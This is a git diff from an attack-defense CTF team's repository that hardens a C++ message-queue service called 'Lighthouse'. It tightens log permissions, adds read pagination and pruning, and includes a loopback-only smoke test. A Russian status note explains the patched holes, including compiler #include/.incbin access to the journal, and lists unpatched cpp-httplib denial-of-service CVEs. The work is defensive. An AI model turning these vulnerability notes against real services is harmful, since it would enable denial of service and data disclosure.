Compare commits
12
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
caf4a2430c | ||
|
|
2f5892d323 | ||
|
|
143182a27c | ||
|
|
76b5e01dac | ||
|
|
c378d7f3f6 | ||
|
|
7d59ae8efb | ||
|
|
8987f08ee1 | ||
|
|
21a8646fd9 | ||
|
|
9c2e3ee4e8 | ||
|
|
c05e277a03 | ||
|
|
f3b2cb9c22 | ||
|
|
22c1906a67 |
No files matched your search
+50
@@ -0,0 +1,50 @@
|
|||||||
|
# GO CTF team archive and issued credentials
|
||||||
|
*.age
|
||||||
|
*.age.gz
|
||||||
|
openconnect.conf
|
||||||
|
vpn-ca.pem
|
||||||
|
vulnbox.txt
|
||||||
|
skipper-token.txt
|
||||||
|
players.tsv
|
||||||
|
vpn/
|
||||||
|
team001/
|
||||||
|
|
||||||
|
# Environment files and private keys
|
||||||
|
.env
|
||||||
|
.env.*
|
||||||
|
!.env.example
|
||||||
|
!.env.sample
|
||||||
|
*.key
|
||||||
|
*.p12
|
||||||
|
*.pfx
|
||||||
|
id_rsa*
|
||||||
|
id_ed25519*
|
||||||
|
|
||||||
|
# Runtime databases, volumes, dumps, logs and captures
|
||||||
|
*.db
|
||||||
|
*.db-*
|
||||||
|
*.sqlite
|
||||||
|
*.sqlite3
|
||||||
|
*.dump
|
||||||
|
*.log
|
||||||
|
*.pcap
|
||||||
|
*.pcapng
|
||||||
|
volumes/
|
||||||
|
logs/
|
||||||
|
/starpost/postgres/
|
||||||
|
|
||||||
|
# Decrypted/downloaded archives
|
||||||
|
*.zip
|
||||||
|
*.7z
|
||||||
|
*.rar
|
||||||
|
*.tar
|
||||||
|
*.tar.gz
|
||||||
|
*.tgz
|
||||||
|
|
||||||
|
# Local tooling and caches
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
.venv/
|
||||||
|
venv/
|
||||||
|
.idea/
|
||||||
|
.vscode/
|
||||||
@@ -29,7 +29,7 @@ RUN /bin/sh ./server/build.sh
|
|||||||
COPY --from=web /web/dist ./public/
|
COPY --from=web /web/dist ./public/
|
||||||
RUN mkdir -p /data /var/log/lighthouse /srv/lighthouse/work \
|
RUN mkdir -p /data /var/log/lighthouse /srv/lighthouse/work \
|
||||||
&& chmod 0700 /data \
|
&& chmod 0700 /data \
|
||||||
&& chmod 0755 /var/log/lighthouse \
|
&& chmod 0700 /var/log/lighthouse \
|
||||||
&& chmod 0711 /srv/lighthouse/work
|
&& chmod 0711 /srv/lighthouse/work
|
||||||
EXPOSE 8080
|
EXPOSE 8080
|
||||||
CMD ["/srv/lighthouse/server/lighthouse"]
|
CMD ["/srv/lighthouse/server/lighthouse"]
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
# Lighthouse: статус кандидата на 25.10.2026
|
||||||
|
|
||||||
|
Исходный сервис: `takuya/go-ctf`, `main`, commit `4f70df55dd822880f4759d553f7ed249166cad86`. Этот каталог содержит локально проверенный кандидат исправлений; push исходников **не является выкладкой** на игровую vulnbox.
|
||||||
|
|
||||||
|
- L-02: отправка исходника фильтра снова доступна без `X-Queue-Key`, как в исходном API: официальный CHECK вызывает её без заголовка и отвечавший `403` приводил к `DOWN`. Остальные проверки ключа сохранены. Публичная отправка фильтра остаётся риском нагрузки и вытеснения истории ревизий.
|
||||||
|
- L-03: чтение сообщений выдаёт страницы по 128 и помечает прочитанными только выданные записи.
|
||||||
|
- L-01: истёкшие записи удаляются ограниченными порциями, отдельный журнал ограничен 512 KiB. Создание множества очередей всё ещё может расходовать хранилище.
|
||||||
|
- L-04: журнал закрыт для процесса компилятора правами 0700/0600. Локально `#include` и `.incbin` больше не читают его.
|
||||||
|
- L-05: формат шифрования и индивидуальные `read_key` сохранены для совместимости со старыми данными.
|
||||||
|
|
||||||
|
На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Пассивное наблюдение официального CHECK 25.10.2026 показало `POST /filter` без ключа и ответ `403` текущего образа; исправление совместимости требует проверки следующим раундом после выкладки. Игровой том этим локальным тестом не проверялся. Изменение чтения более 128 сообщений также требует проверки CHECK/PUT/GET.
|
||||||
|
|
||||||
|
**Известный риск DOWN:** Dockerfile устанавливает Debian bookworm `libcpp-httplib-dev` / `libcpp-httplib0.11` версии `0.11.4+ds-1+deb12u1`. [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2026-45352) отмечает эту версию уязвимой к CVE-2026-45352 (отказ в обслуживании при некорректном chunked-запросе); [описание разработчика](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-h6wq-j5mv-f3q8) указывает исправление в 0.43.4. Кроме того, [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2025-53628) помечает ту же bookworm-сборку уязвимой к CVE-2025-53628: неограниченная длина строки HTTP-запроса может вызвать расход памяти и отказ в обслуживании до обработки запроса приложением. Лимит `set_payload_max_length(32768)` ограничивает тело, а не эту строку; более того, [CVE-2025-46728](https://security-tracker.debian.org/tracker/CVE-2025-46728) позволяет обойти и сам лимит тела через chunked-запрос в этой версии `cpp-httplib`. Данный кандидат эти риски не устраняет. Перед игровым переключением нужна отдельная проверенная замена зависимости и тесты совместимости; простой `apt upgrade` внутри bookworm не подтверждает исправление.
|
||||||
|
|
||||||
|
В этом же приватном репозитории находится `sploits/lighthouse/`. Полный clone/pull на vulnbox принесёт и атакующий код. При подготовке выкладки переносите только нужный каталог сервиса; не монтируйте `sploits/` в контейнер и не помещайте его в web root. Для отката сохраняйте тома данных: не используйте `compose down -v`.
|
||||||
@@ -12,7 +12,7 @@ createApp({
|
|||||||
const source = ref('int filter(int length) {\n return length <= 4096;\n}');
|
const source = ref('int filter(int length) {\n return length <= 4096;\n}');
|
||||||
const filterLabel = ref('unnamed'), revision = ref('');
|
const filterLabel = ref('unnamed'), revision = ref('');
|
||||||
const selectedFilter = ref(null);
|
const selectedFilter = ref(null);
|
||||||
const received = ref([]), filters = ref([]);
|
const received = ref([]), filters = ref([]), nextAfter = ref(0), pageShowRead = ref(false);
|
||||||
const state = ref(null), view = ref('messages'), showRead = ref(false);
|
const state = ref(null), view = ref('messages'), showRead = ref(false);
|
||||||
const feedback = ref({}), compiler = ref(''), listing = ref('');
|
const feedback = ref({}), compiler = ref(''), listing = ref('');
|
||||||
const path = suffix => '/api/queues/' + queue.value + suffix;
|
const path = suffix => '/api/queues/' + queue.value + suffix;
|
||||||
@@ -52,6 +52,7 @@ createApp({
|
|||||||
state.value = created;
|
state.value = created;
|
||||||
recipient.value = created.id;
|
recipient.value = created.id;
|
||||||
received.value = [];
|
received.value = [];
|
||||||
|
nextAfter.value = 0;
|
||||||
filters.value = [];
|
filters.value = [];
|
||||||
selectedFilter.value = null;
|
selectedFilter.value = null;
|
||||||
view.value = 'messages';
|
view.value = 'messages';
|
||||||
@@ -67,6 +68,7 @@ createApp({
|
|||||||
state.value = info;
|
state.value = info;
|
||||||
recipient.value = id;
|
recipient.value = id;
|
||||||
received.value = [];
|
received.value = [];
|
||||||
|
nextAfter.value = 0;
|
||||||
filters.value = [];
|
filters.value = [];
|
||||||
selectedFilter.value = null;
|
selectedFilter.value = null;
|
||||||
view.value = 'messages';
|
view.value = 'messages';
|
||||||
@@ -78,6 +80,7 @@ createApp({
|
|||||||
pass.value = '';
|
pass.value = '';
|
||||||
state.value = null;
|
state.value = null;
|
||||||
received.value = [];
|
received.value = [];
|
||||||
|
nextAfter.value = 0;
|
||||||
filters.value = [];
|
filters.value = [];
|
||||||
selectedFilter.value = null;
|
selectedFilter.value = null;
|
||||||
compiler.value = '';
|
compiler.value = '';
|
||||||
@@ -105,6 +108,8 @@ createApp({
|
|||||||
const receive = () => action('receive', async () => {
|
const receive = () => action('receive', async () => {
|
||||||
await refresh();
|
await refresh();
|
||||||
const result = await api(path('/messages' + (showRead.value ? '?show_read=true' : '')), { headers: headers() });
|
const result = await api(path('/messages' + (showRead.value ? '?show_read=true' : '')), { headers: headers() });
|
||||||
|
pageShowRead.value = showRead.value;
|
||||||
|
nextAfter.value = result.has_more ? result.next_after : 0;
|
||||||
received.value = result.messages.map(message => {
|
received.value = result.messages.map(message => {
|
||||||
try {
|
try {
|
||||||
return { id: message.id, topic: message.topic, text: decrypt(key.value, message.ciphertext) };
|
return { id: message.id, topic: message.topic, text: decrypt(key.value, message.ciphertext) };
|
||||||
@@ -115,6 +120,21 @@ createApp({
|
|||||||
await refresh();
|
await refresh();
|
||||||
return result.messages.length ? result.messages.length + ' message(s) displayed.' : 'No messages to display.';
|
return result.messages.length ? result.messages.length + ' message(s) displayed.' : 'No messages to display.';
|
||||||
});
|
});
|
||||||
|
const loadMore = () => action('receive', async () => {
|
||||||
|
if (!nextAfter.value) return 'No more messages.';
|
||||||
|
const suffix = '/messages?after_id=' + nextAfter.value + (pageShowRead.value ? '&show_read=true' : '');
|
||||||
|
const result = await api(path(suffix), { headers: headers() });
|
||||||
|
nextAfter.value = result.has_more ? result.next_after : 0;
|
||||||
|
received.value.push(...result.messages.map(message => {
|
||||||
|
try {
|
||||||
|
return { id: message.id, topic: message.topic, text: decrypt(key.value, message.ciphertext) };
|
||||||
|
} catch {
|
||||||
|
return { id: message.id, topic: message.topic, text: 'Cannot open this message.' };
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
await refresh();
|
||||||
|
return result.messages.length + ' more message(s) displayed.';
|
||||||
|
});
|
||||||
const loadFilters = () => action('refreshFilters', async () => {
|
const loadFilters = () => action('refreshFilters', async () => {
|
||||||
filters.value = (await api(path('/filters'))).filters;
|
filters.value = (await api(path('/filters'))).filters;
|
||||||
return 'Revision list updated.';
|
return 'Revision list updated.';
|
||||||
@@ -137,7 +157,7 @@ createApp({
|
|||||||
compiler.value = '';
|
compiler.value = '';
|
||||||
listing.value = '';
|
listing.value = '';
|
||||||
const result = await api(path('/filter'), {
|
const result = await api(path('/filter'), {
|
||||||
method: 'POST', body: JSON.stringify({ source: source.value, label: filterLabel.value })
|
method: 'POST', headers: headers(), body: JSON.stringify({ source: source.value, label: filterLabel.value })
|
||||||
}, [422]);
|
}, [422]);
|
||||||
compiler.value = result.compiler || '';
|
compiler.value = result.compiler || '';
|
||||||
listing.value = result.listing || '';
|
listing.value = result.listing || '';
|
||||||
@@ -165,9 +185,9 @@ createApp({
|
|||||||
|
|
||||||
return {
|
return {
|
||||||
queue, pass, recipient, queueLabel, retention, topic, delay, text,
|
queue, pass, recipient, queueLabel, retention, topic, delay, text,
|
||||||
source, filterLabel, revision, selectedFilter, received, filters, state, view, showRead,
|
source, filterLabel, revision, selectedFilter, received, filters, state, view, showRead, nextAfter,
|
||||||
feedback, compiler, listing, credentials,
|
feedback, compiler, listing, credentials,
|
||||||
create, open, leave, send, receive, loadFilters, selectFilter, newDraft, draftFrom, install, activate
|
create, open, leave, send, receive, loadMore, loadFilters, selectFilter, newDraft, draftFrom, install, activate
|
||||||
};
|
};
|
||||||
},
|
},
|
||||||
template: `
|
template: `
|
||||||
@@ -218,7 +238,8 @@ createApp({
|
|||||||
<p class="muted">Reading collects new messages. They remain available in history until they expire.</p>
|
<p class="muted">Reading collects new messages. They remain available in history until they expire.</p>
|
||||||
<div class="actions"><button @click="receive">Read new messages</button><span v-if="feedback.receive" class="action-feedback" :class="feedback.receive.kind" :role="feedback.receive.kind === 'error' ? 'alert' : 'status'">{{ feedback.receive.text }}</span><details class="read-options"><summary>Options</summary><label><input type="checkbox" v-model="showRead"> Include already read</label></details></div>
|
<div class="actions"><button @click="receive">Read new messages</button><span v-if="feedback.receive" class="action-feedback" :class="feedback.receive.kind" :role="feedback.receive.kind === 'error' ? 'alert' : 'status'">{{ feedback.receive.text }}</span><details class="read-options"><summary>Options</summary><label><input type="checkbox" v-model="showRead"> Include already read</label></details></div>
|
||||||
<div class="inbox" v-if="received.length"><article v-for="message in received" :key="message.id"><small>#{{ message.id }} · {{ message.topic }}</small><p>{{ message.text }}</p></article></div>
|
<div class="inbox" v-if="received.length"><article v-for="message in received" :key="message.id"><small>#{{ message.id }} · {{ message.topic }}</small><p>{{ message.text }}</p></article></div>
|
||||||
<p v-else class="muted empty">No messages displayed.</p>
|
<p v-if="!received.length" class="muted empty">No messages displayed.</p>
|
||||||
|
<button v-if="nextAfter" class="secondary" @click="loadMore">Load more messages</button>
|
||||||
</section>
|
</section>
|
||||||
<section class="panel">
|
<section class="panel">
|
||||||
<p class="eyebrow">OUTBOX</p><h2>Send a message</h2>
|
<p class="eyebrow">OUTBOX</p><h2>Send a message</h2>
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
|
#include <cstdint>
|
||||||
#include <filesystem>
|
#include <filesystem>
|
||||||
#include <fstream>
|
#include <fstream>
|
||||||
#include <mutex>
|
#include <mutex>
|
||||||
@@ -15,13 +16,18 @@ inline void append(const std::string& created_at, const std::string& queue,
|
|||||||
std::lock_guard guard(lock);
|
std::lock_guard guard(lock);
|
||||||
auto directory = std::filesystem::path("/var/log/lighthouse") / created_at.substr(0, 10);
|
auto directory = std::filesystem::path("/var/log/lighthouse") / created_at.substr(0, 10);
|
||||||
std::filesystem::create_directories(directory);
|
std::filesystem::create_directories(directory);
|
||||||
if (chmod(directory.c_str(), 0755) != 0)
|
if (chmod(directory.c_str(), 0700) != 0)
|
||||||
throw std::runtime_error("cannot secure journal directory");
|
throw std::runtime_error("cannot secure journal directory");
|
||||||
auto path = directory / (queue + ".log");
|
auto path = directory / (queue + ".log");
|
||||||
std::ofstream file(path, std::ios::app);
|
std::ofstream file(path, std::ios::app);
|
||||||
if (!file || chmod(path.c_str(), 0644) != 0)
|
if (!file || chmod(path.c_str(), 0600) != 0)
|
||||||
throw std::runtime_error("cannot open journal");
|
throw std::runtime_error("cannot open journal");
|
||||||
file << instant << " queue=" << queue << " topic=" << topic << " ciphertext=" << cipher << "\n";
|
const auto line = instant + " queue=" + queue + " topic=" + topic + " ciphertext=" + cipher + "\n";
|
||||||
|
const auto position = file.tellp();
|
||||||
|
if (position < 0) throw std::runtime_error("cannot size journal");
|
||||||
|
constexpr std::uintmax_t max_journal_bytes = 512 * 1024;
|
||||||
|
if (static_cast<std::uintmax_t>(position) + line.size() > max_journal_bytes) return;
|
||||||
|
file << line;
|
||||||
file.close();
|
file.close();
|
||||||
if (!file) throw std::runtime_error("cannot write journal");
|
if (!file) throw std::runtime_error("cannot write journal");
|
||||||
}
|
}
|
||||||
|
|||||||
+50
-13
@@ -9,6 +9,7 @@
|
|||||||
|
|
||||||
#include <filesystem>
|
#include <filesystem>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
|
#include <charconv>
|
||||||
#include <mutex>
|
#include <mutex>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
|
||||||
@@ -54,11 +55,32 @@ static json message_row(const Statement& query) {
|
|||||||
return {{"id", query.number(0)}, {"topic", query.text(1)}, {"ciphertext", query.text(2)}};
|
return {{"id", query.number(0)}, {"topic", query.text(1)}, {"ciphertext", query.text(2)}};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Expired rows are already invisible to readers. Reclaim a bounded batch on
|
||||||
|
// each public write so cleanup cannot hold the shared database lock for long.
|
||||||
|
static void prune_expired() {
|
||||||
|
Statement prune(db, R"SQL(
|
||||||
|
DELETE FROM messages WHERE id IN (
|
||||||
|
SELECT id FROM messages WHERE expires_at<=? ORDER BY expires_at LIMIT 256
|
||||||
|
)
|
||||||
|
)SQL");
|
||||||
|
prune.bind(1, epoch_now()).next();
|
||||||
|
}
|
||||||
|
|
||||||
|
static long long after_id(const httplib::Request& request) {
|
||||||
|
if (!request.has_param("after_id")) return 0;
|
||||||
|
const auto value = request.get_param_value("after_id");
|
||||||
|
long long parsed = 0;
|
||||||
|
const auto result = std::from_chars(value.data(), value.data() + value.size(), parsed);
|
||||||
|
if (value.empty() || result.ec != std::errc{} || result.ptr != value.data() + value.size() || parsed < 0)
|
||||||
|
throw HttpError(400, "bad after_id");
|
||||||
|
return parsed;
|
||||||
|
}
|
||||||
|
|
||||||
static void initialize() {
|
static void initialize() {
|
||||||
fs::create_directories("/data");
|
fs::create_directories("/data");
|
||||||
fs::create_directories("/var/log/lighthouse");
|
fs::create_directories("/var/log/lighthouse");
|
||||||
fs::create_directories(filters::work_root);
|
fs::create_directories(filters::work_root);
|
||||||
if (chmod("/data", 0700) || chmod("/var/log/lighthouse", 0755) ||
|
if (chmod("/data", 0700) || chmod("/var/log/lighthouse", 0700) ||
|
||||||
chmod(filters::work_root, 0711))
|
chmod(filters::work_root, 0711))
|
||||||
throw std::runtime_error("cannot set storage permissions");
|
throw std::runtime_error("cannot set storage permissions");
|
||||||
if (sqlite3_open("/data/lighthouse.db", &db) != SQLITE_OK)
|
if (sqlite3_open("/data/lighthouse.db", &db) != SQLITE_OK)
|
||||||
@@ -84,6 +106,7 @@ static void initialize() {
|
|||||||
listing TEXT NOT NULL DEFAULT '', created_at TEXT NOT NULL
|
listing TEXT NOT NULL DEFAULT '', created_at TEXT NOT NULL
|
||||||
);
|
);
|
||||||
CREATE INDEX IF NOT EXISTS messages_by_queue ON messages(queue_id,id);
|
CREATE INDEX IF NOT EXISTS messages_by_queue ON messages(queue_id,id);
|
||||||
|
CREATE INDEX IF NOT EXISTS messages_by_expiry ON messages(expires_at);
|
||||||
CREATE INDEX IF NOT EXISTS revisions_by_queue ON filter_revisions(queue_id,id DESC);
|
CREATE INDEX IF NOT EXISTS revisions_by_queue ON filter_revisions(queue_id,id DESC);
|
||||||
)SQL");
|
)SQL");
|
||||||
bool has_read_at = false;
|
bool has_read_at = false;
|
||||||
@@ -112,6 +135,7 @@ static void queue_routes(httplib::Server& server) {
|
|||||||
auto retention = number_field(body, "retention_seconds", 3600, 60, 604800);
|
auto retention = number_field(body, "retention_seconds", 3600, 60, 604800);
|
||||||
auto id = uuid(), key = random_hex(48), created = utc_now();
|
auto id = uuid(), key = random_hex(48), created = utc_now();
|
||||||
std::lock_guard guard(db_lock);
|
std::lock_guard guard(db_lock);
|
||||||
|
prune_expired();
|
||||||
Statement insert(db, "INSERT INTO queues(id,read_key,label,retention_seconds,created_at) VALUES(?,?,?,?,?)");
|
Statement insert(db, "INSERT INTO queues(id,read_key,label,retention_seconds,created_at) VALUES(?,?,?,?,?)");
|
||||||
insert.bind(1, id).bind(2, key).bind(3, label).bind(4, retention).bind(5, created).next();
|
insert.bind(1, id).bind(2, key).bind(3, label).bind(4, retention).bind(5, created).next();
|
||||||
reply(response, 201, {{"id", id}, {"read_key", key}, {"label", label},
|
reply(response, 201, {{"id", id}, {"read_key", key}, {"label", label},
|
||||||
@@ -153,6 +177,7 @@ static void filter_routes(httplib::Server& server) {
|
|||||||
{
|
{
|
||||||
std::lock_guard guard(db_lock);
|
std::lock_guard guard(db_lock);
|
||||||
Transaction transaction(db);
|
Transaction transaction(db);
|
||||||
|
require_queue(id);
|
||||||
Statement insert(db, R"SQL(
|
Statement insert(db, R"SQL(
|
||||||
INSERT INTO filter_revisions(queue_id,label,state,wasm_path,compiler_output,source,listing,created_at)
|
INSERT INTO filter_revisions(queue_id,label,state,wasm_path,compiler_output,source,listing,created_at)
|
||||||
VALUES(?,?,?,?,?,?,?,?)
|
VALUES(?,?,?,?,?,?,?,?)
|
||||||
@@ -263,8 +288,7 @@ static void message_routes(httplib::Server& server) {
|
|||||||
{
|
{
|
||||||
std::lock_guard guard(db_lock);
|
std::lock_guard guard(db_lock);
|
||||||
Transaction transaction(db);
|
Transaction transaction(db);
|
||||||
Statement prune(db, "DELETE FROM messages WHERE queue_id=? AND expires_at<=?");
|
prune_expired();
|
||||||
prune.bind(1, id).bind(2, epoch_now()).next();
|
|
||||||
Statement insert(db, R"SQL(
|
Statement insert(db, R"SQL(
|
||||||
INSERT INTO messages(queue_id,ciphertext,topic,not_before,expires_at,created_at) VALUES(?,?,?,?,?,?)
|
INSERT INTO messages(queue_id,ciphertext,topic,not_before,expires_at,created_at) VALUES(?,?,?,?,?,?)
|
||||||
)SQL");
|
)SQL");
|
||||||
@@ -279,27 +303,40 @@ static void message_routes(httplib::Server& server) {
|
|||||||
|
|
||||||
server.Get(R"(/api/queues/([0-9a-f-]{36})/messages)", endpoint([](const auto& request, auto& response) {
|
server.Get(R"(/api/queues/([0-9a-f-]{36})/messages)", endpoint([](const auto& request, auto& response) {
|
||||||
auto show_read = request.has_param("show_read") && request.get_param_value("show_read") == "true";
|
auto show_read = request.has_param("show_read") && request.get_param_value("show_read") == "true";
|
||||||
|
auto after = after_id(request);
|
||||||
|
constexpr long long page_size = 128;
|
||||||
|
auto messages = json::array();
|
||||||
|
bool has_more = false;
|
||||||
|
long long last = after;
|
||||||
|
{
|
||||||
std::lock_guard guard(db_lock);
|
std::lock_guard guard(db_lock);
|
||||||
require_key(request);
|
require_key(request);
|
||||||
auto moment = epoch_now();
|
auto moment = epoch_now();
|
||||||
Transaction transaction(db);
|
Transaction transaction(db);
|
||||||
Statement query(db, R"SQL(
|
Statement query(db, R"SQL(
|
||||||
SELECT id,topic,ciphertext FROM messages
|
SELECT id,topic,ciphertext FROM messages
|
||||||
WHERE queue_id=? AND not_before<=? AND expires_at>?
|
WHERE queue_id=? AND id>? AND not_before<=? AND expires_at>?
|
||||||
AND (? OR read_at IS NULL) ORDER BY id
|
AND (? OR read_at IS NULL) ORDER BY id LIMIT ?
|
||||||
)SQL");
|
)SQL");
|
||||||
query.bind(1, request.matches[1].str()).bind(2, moment).bind(3, moment).bind(4, show_read ? 1LL : 0LL);
|
query.bind(1, request.matches[1].str()).bind(2, after).bind(3, moment)
|
||||||
auto messages = json::array();
|
.bind(4, moment).bind(5, show_read ? 1LL : 0LL).bind(6, page_size + 1);
|
||||||
while (query.next()) messages.push_back(message_row(query));
|
while (query.next()) {
|
||||||
if (!show_read) {
|
if (messages.size() == page_size) { has_more = true; break; }
|
||||||
|
last = query.number(0);
|
||||||
|
messages.push_back(message_row(query));
|
||||||
|
}
|
||||||
|
if (!show_read && !messages.empty()) {
|
||||||
Statement mark(db, R"SQL(
|
Statement mark(db, R"SQL(
|
||||||
UPDATE messages SET read_at=? WHERE queue_id=? AND not_before<=?
|
UPDATE messages SET read_at=? WHERE queue_id=? AND id>? AND id<=?
|
||||||
AND expires_at>? AND read_at IS NULL
|
AND not_before<=? AND expires_at>? AND read_at IS NULL
|
||||||
)SQL");
|
)SQL");
|
||||||
mark.bind(1, moment).bind(2, request.matches[1].str()).bind(3, moment).bind(4, moment).next();
|
mark.bind(1, moment).bind(2, request.matches[1].str()).bind(3, after)
|
||||||
|
.bind(4, last).bind(5, moment).bind(6, moment).next();
|
||||||
}
|
}
|
||||||
transaction.commit();
|
transaction.commit();
|
||||||
reply(response, 200, {{"messages", messages}});
|
}
|
||||||
|
reply(response, 200, {{"messages", messages}, {"has_more", has_more},
|
||||||
|
{"next_after", has_more ? last : 0}});
|
||||||
}));
|
}));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,208 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Loopback-only smoke tests using disposable containers and synthetic records."""
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
from pathlib import Path
|
||||||
|
import re
|
||||||
|
import subprocess
|
||||||
|
import urllib.error
|
||||||
|
import urllib.parse
|
||||||
|
import urllib.request
|
||||||
|
|
||||||
|
|
||||||
|
SOURCE = "int filter(int length) { return length <= 8192; }"
|
||||||
|
OLD_JOURNAL = "/var/log/lighthouse/1999-12-31/synthetic-legacy.log"
|
||||||
|
OLD_CONTENT = "synthetic legacy journal; retain these bytes\n"
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
|
parser.add_argument("action", choices=("seed", "verify"))
|
||||||
|
parser.add_argument("--url", required=True)
|
||||||
|
parser.add_argument("--container", required=True)
|
||||||
|
parser.add_argument("--state", type=Path, required=True)
|
||||||
|
parser.add_argument("--journal", choices=("baseline", "private"), required=True)
|
||||||
|
args = parser.parse_args()
|
||||||
|
parsed = urllib.parse.urlsplit(args.url)
|
||||||
|
if (parsed.scheme != "http" or parsed.hostname not in ("127.0.0.1", "localhost", "::1")
|
||||||
|
or parsed.username or parsed.password or parsed.query or parsed.fragment):
|
||||||
|
parser.error("tests only accept an explicit loopback HTTP URL")
|
||||||
|
if not re.fullmatch(r"goctf-lighthouse-lab-[a-z0-9-]+", args.container):
|
||||||
|
parser.error("use a disposable container named goctf-lighthouse-lab-...")
|
||||||
|
origin = args.url.rstrip("/")
|
||||||
|
opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||||
|
checks = 0
|
||||||
|
|
||||||
|
def check(condition, message):
|
||||||
|
nonlocal checks
|
||||||
|
if not condition:
|
||||||
|
raise AssertionError(message)
|
||||||
|
checks += 1
|
||||||
|
|
||||||
|
def api(method, path, body=None, key=None, expected=200):
|
||||||
|
headers = {"Content-Type": "application/json"}
|
||||||
|
if key is not None:
|
||||||
|
headers["X-Queue-Key"] = key
|
||||||
|
request = urllib.request.Request(origin + path, method=method, headers=headers,
|
||||||
|
data=None if body is None else json.dumps(body).encode())
|
||||||
|
try:
|
||||||
|
response = opener.open(request, timeout=12)
|
||||||
|
except urllib.error.HTTPError as error:
|
||||||
|
response = error
|
||||||
|
with response:
|
||||||
|
status = response.status
|
||||||
|
result = json.loads(response.read())
|
||||||
|
check(status == expected, f"unexpected HTTP status for {method} {path}: {status}")
|
||||||
|
return result
|
||||||
|
|
||||||
|
def inside(*command, user=None):
|
||||||
|
command_line = ["docker", "exec"]
|
||||||
|
if user:
|
||||||
|
command_line.extend(("--user", user))
|
||||||
|
return subprocess.run(command_line + [args.container, *command],
|
||||||
|
capture_output=True, text=True, timeout=15)
|
||||||
|
|
||||||
|
def mode(path):
|
||||||
|
result = inside("stat", "-c", "%a", path)
|
||||||
|
check(result.returncode == 0, "cannot inspect synthetic journal permissions")
|
||||||
|
return result.stdout.strip()
|
||||||
|
|
||||||
|
check(api("GET", "/api/health")["status"] == "ok", "health response changed")
|
||||||
|
if args.action == "seed":
|
||||||
|
check(not args.state.exists(), "refusing to overwrite a previous test state")
|
||||||
|
queue = api("POST", "/api/queues", {"label": "regression mailbox", "retention_seconds": 3600},
|
||||||
|
expected=201)
|
||||||
|
check(bool(re.fullmatch(r"[0-9a-f-]{36}", queue["id"])), "invalid generated queue ID")
|
||||||
|
check(bool(re.fullmatch(r"[0-9a-f]{48}", queue["read_key"])), "invalid generated read key")
|
||||||
|
path = "/api/queues/" + queue["id"]
|
||||||
|
other = api("POST", "/api/queues", {"label": "other mailbox"}, expected=201)
|
||||||
|
api("GET", path + "/messages", expected=403)
|
||||||
|
api("GET", path + "/messages", key=other["read_key"], expected=403)
|
||||||
|
api("POST", path + "/messages", {"message": "not-base64"}, expected=400)
|
||||||
|
api("POST", path + "/messages", {"message": "eA==", "topic": "invalid/topic"}, expected=400)
|
||||||
|
compiled = api("POST", path + "/filter", {"source": SOURCE, "label": "length filter"})
|
||||||
|
check(compiled["ok"] is True, "ordinary C filter did not compile")
|
||||||
|
api("POST", path + f"/filters/{compiled['revision']}/activate", {}, expected=403)
|
||||||
|
api("POST", path + f"/filters/{compiled['revision']}/activate", {}, key=queue["read_key"])
|
||||||
|
api("GET", path + f"/filters/{compiled['revision']}", expected=403)
|
||||||
|
rejected = api("POST", path + "/filter", {"source": "int filter(int x) { return ; broken }"},
|
||||||
|
expected=422)
|
||||||
|
check(rejected["ok"] is False and bool(rejected["compiler"]), "compiler diagnostics missing")
|
||||||
|
raw = b"synthetic regression message\x00with binary data"
|
||||||
|
api("POST", path + "/messages", {"message": base64.b64encode(raw).decode(), "topic": "regression"},
|
||||||
|
expected=201)
|
||||||
|
received = api("GET", path + "/messages", key=queue["read_key"])["messages"]
|
||||||
|
check(len(received) == 1 and received[0]["topic"] == "regression", "normal delivery failed")
|
||||||
|
check(bool(re.fullmatch(r"[0-9a-f]+", received[0]["ciphertext"])), "ciphertext encoding changed")
|
||||||
|
check(api("GET", path + "/messages", key=queue["read_key"])["messages"] == [],
|
||||||
|
"reading did not mark the message")
|
||||||
|
journal = f"/var/log/lighthouse/{queue['created_at'][:10]}/{queue['id']}.log"
|
||||||
|
create_old = inside("sh", "-c", 'mkdir -p /var/log/lighthouse/1999-12-31 && '
|
||||||
|
'printf "%s\\n" "synthetic legacy journal; retain these bytes" '
|
||||||
|
'> /var/log/lighthouse/1999-12-31/synthetic-legacy.log && '
|
||||||
|
'chmod 755 /var/log/lighthouse/1999-12-31 && '
|
||||||
|
'chmod 644 /var/log/lighthouse/1999-12-31/synthetic-legacy.log')
|
||||||
|
check(create_old.returncode == 0, "cannot prepare synthetic legacy journal")
|
||||||
|
state = {"queue": queue, "revision": compiled["revision"], "message": received[0], "journal": journal}
|
||||||
|
args.state.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||||
|
descriptor = os.open(args.state, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
|
||||||
|
with os.fdopen(descriptor, "w") as stream:
|
||||||
|
json.dump(state, stream)
|
||||||
|
else:
|
||||||
|
state = json.loads(args.state.read_text())
|
||||||
|
queue = state["queue"]
|
||||||
|
path = "/api/queues/" + queue["id"]
|
||||||
|
metadata = api("GET", path)
|
||||||
|
check(metadata["label"] == "regression mailbox" and metadata["filter_installed"],
|
||||||
|
"queue metadata or active filter was lost")
|
||||||
|
messages = api("GET", path + "/messages?show_read=true", key=queue["read_key"])["messages"]
|
||||||
|
check(state["message"] in messages, "old message or ciphertext changed across restart")
|
||||||
|
check(api("GET", path + "/messages", key=queue["read_key"])["messages"] == [],
